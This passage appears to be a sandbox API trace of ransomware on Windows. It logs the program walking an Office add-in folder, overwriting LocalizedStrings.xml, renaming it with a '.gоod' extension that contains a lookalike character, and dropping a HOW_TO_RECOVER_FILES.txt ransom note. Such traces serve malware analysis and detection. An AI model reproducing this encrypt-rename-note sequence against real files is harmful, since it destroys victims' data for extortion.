ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16736b69, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10de, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0270.228] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4caf7cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4caf7cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0270.228] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fa0ca2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0270.228] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0f23aa6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0270.228] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd55d11, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd55d11, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ff030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0270.228] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdee689, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0270.228] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e78ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e78ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d048, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0270.229] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0270.229] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5d437d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5d437d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5fa5d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0270.229] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0270.229] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5478, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0270.229] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0270.229] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1a088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0270.230] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0270.230] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf2f2d53e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf2f2d53e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0270.230] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0270.230] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0270.230] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0270.231] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f76153, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f76153, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0270.231] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f76153, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f76153, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f9c329, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0270.231] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0270.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0270.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0270.231] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0270.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x392d1a0 | out: lpFileInformation=0x392d1a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16736b69, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0270.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0270.231] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0270.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.232] GetFileType (hFile=0x828) returned 0x1 [0270.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0270.232] GetFileType (hFile=0x828) returned 0x1 [0270.232] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0270.232] ReadFile (in: hFile=0x828, lpBuffer=0x392d658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x392d658*, lpNumberOfBytesRead=0x206ec9c8*=0xde, lpOverlapped=0x0) returned 1 [0270.548] CloseHandle (hObject=0x828) returned 1 [0270.548] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0270.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.548] GetFileType (hFile=0x828) returned 0x1 [0270.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0270.548] GetFileType (hFile=0x828) returned 0x1 [0270.548] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x10de [0270.548] WriteFile (in: hFile=0x828, lpBuffer=0x391c428*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x391c428*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0270.548] CloseHandle (hObject=0x828) returned 1 [0270.549] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0270.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.549] GetFileType (hFile=0x828) returned 0x1 [0270.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0270.549] GetFileType (hFile=0x828) returned 0x1 [0270.549] ReadFile (in: hFile=0x828, lpBuffer=0x391e738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x391e738*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0270.711] CloseHandle (hObject=0x828) returned 1 [0270.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0270.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0270.711] GetFileType (hFile=0x828) returned 0x1 [0270.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0270.711] GetFileType (hFile=0x828) returned 0x1 [0270.711] WriteFile (in: hFile=0x828, lpBuffer=0x37b0648*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x37b0648*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0270.712] CloseHandle (hObject=0x828) returned 1 [0270.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0270.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0270.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0270.712] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d92beb3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10ee)) returned 1 [0270.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0270.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml.gоod")) returned 1 [0270.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0270.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0270.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0270.715] GetFileType (hFile=0x828) returned 0x1 [0270.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0270.715] GetFileType (hFile=0x828) returned 0x1 [0270.715] WriteFile (in: hFile=0x828, lpBuffer=0x391f750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x391f750*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0270.716] CloseHandle (hObject=0x828) returned 1 [0270.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0270.716] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu", lpFilePart=0x0) returned 0x51 [0270.716] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0270.717] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.717] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1152, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0270.717] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x196cd32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x196cd32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x196cd32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd028, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0270.717] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0270.717] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x206ec8d0 | out: 